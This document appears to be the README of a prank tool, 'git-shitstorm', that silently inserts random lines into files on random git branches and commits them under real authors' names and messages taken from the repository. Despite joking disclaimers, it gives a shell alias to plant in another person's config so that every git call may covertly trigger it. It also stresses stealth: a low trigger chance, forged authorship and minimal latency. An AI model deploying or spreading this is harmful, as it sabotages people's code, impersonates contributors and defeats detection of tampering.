This is for fun and educational purposes only. Please don't do this on someone else's computer.
I'm not responsible for your future unemployment.
Git Shitstorm randomly copies lines from one file and commits them into another file on a different branch, using a legitimate-looking commit message and author from your actual history. It runs silently and triggers only ~10% of the time (configurable), making the corruption gradual and hard to detect.
Download the latest binary from the releases page.
Or build from source:
go install github.com/einenlum/git-shitstorm@latest# Run with default settings (10% chance of triggering)
git-shitstorm
# Always trigger (for testing)
git-shitstorm --chance 100
# Preview what would happen without making changes
git-shitstorm --dry-run
# Verbose output
git-shitstorm -vv| Flag | Description | Default |
|---|---|---|
--dry-run |
Preview changes without modifying files | false |
--chance |
Percentage chance of triggering (1-100) | 10 |
--dir |
Target git directory | . |
-v |
Show error logs | false |
-vv |
Show all logs | false |
--time |
Show operation timing | false |
Again: please don't actually do this to someone.
Add this to someone's shell config:
alias git="git-shitstorm && git"Every time they use git, there's a chance they're silently corrupting their history. Since commits use real author names and messages from their repo, it looks completely legitimate. Eventually their app breaks in mysterious ways, and debugging becomes a nightmare because nothing looks wrong in the git log.
- ~90% of the time, it does nothing (configurable via
--chance) - Picks a random local branch and grabs a commit's metadata (message, author, email)
- Copies random lines from a random file in that branch
- Switches to a different random branch
- Pastes those lines into a random file (matching extension if possible)
- Commits with the stolen metadata
All silently. No root required.
Verbose output on the HTMX repository
$ git-shitstorm --chance 100 -vv
- Configuration: { directory: . , chance: 100% }
- Sorry... you triggered a git shitstorm!
- Let's have some fun, shall we?
- Number of branches found: 42
- Current branch: refs/heads/master
- Randomly selected base copy branch for shitstorm: refs/heads/v1
- Randomly selected base file for shitstorm: www/static/test/attributes/hx-sse.js
- Randomly selected target copy branch for shitstorm: refs/heads/hateoas-essay-styles
- Randomly selected lines to copy for shitstorm:
- --------
- > '</div>');
- > div.click();
- > this.server.respond();
- > this.eventSource.wasClosed().should.equal(true)
- > })
- >
- > it('is closed after removal with no close and activity', function() {
- > var div = make('<div hx-get="/test" hx-swap="outerHTML" hx-sse="connect:/foo">' +
- > '<div id="d1" hx-trigger="sse:e1" hx-get="/d1">div1</div>' +
- > '</div>');
- > div.parentElement.removeChild(div);
- > this.eventSource.sendEvent("e1")
- > this.eventSource.wasClosed().should.equal(true)
- > })
- --------
- Randomly selected target file for shitstorm: www/test/1.5.1/test/core/internals.js
- Randomly selected commit for shitstorm:
- e9234823a2415526628d2cb62e59ec61e054c2f8: Improve wording
- By Ben Croker (57572400+bencroker@users.noreply.github.com)
- Inserted lines and committed to branch refs/heads/hateoas-essay-styles successfully
$ git log refs/heads/hateoas-essay-styles
commit 3db53cff8ae6b0e03266be918dcbffa72ea855a1 (hateoas-essay-styles)
Author: Ben Croker <57572400+bencroker@users.noreply.github.com>
Date: Sun Jan 25 21:02:00 2026 +0100
Improve wordingDry-run on the Django repository
$ git-shitstorm --chance 100 --dry-run
[DRY-RUN] Dry-run mode enabled - no changes will be made
[DRY-RUN] Would modify file: tests/null_fk_ordering/tests.py
[DRY-RUN] On branch: refs/heads/stable/5.2.x
[DRY-RUN] Commit message: Fixed #35320 -- Removed unnecessary django.core.files.move._samefile() hook.
[DRY-RUN] Author: Ben Cail <bcail@crossway.org>
[DRY-RUN] Lines to insert (40 lines):
[DRY-RUN] --------
[DRY-RUN] result = self.get_runner()._makeResult()
[DRY-RUN] self.assertEqual(result.errors, [])
[DRY-RUN] test_suite.run(result)
[DRY-RUN] self.assertEqual(len(result.errors), 1)
[DRY-RUN] ...
[DRY-RUN] --------
[DRY-RUN] No changes were made to the repositoryThe overhead is minimal and unlikely to be noticed:
| Repository size | Added latency |
|---|---|
| Small (laravel/boost) | ~15ms |
| Medium (htmx) | ~20ms |
| Large (django) | ~80ms |
Built with Go and go-git.
Compiled for Linux, Windows, and macOS. Only tested on Linux.
Contributions welcome! Feel free to open an issue or submit a pull request.
This is my first Go project, so there's probably room for improvement.
Yann Rabiller (@einenlum) | blog | From PHP to Python
If you hate this project, give it a star ⭐️!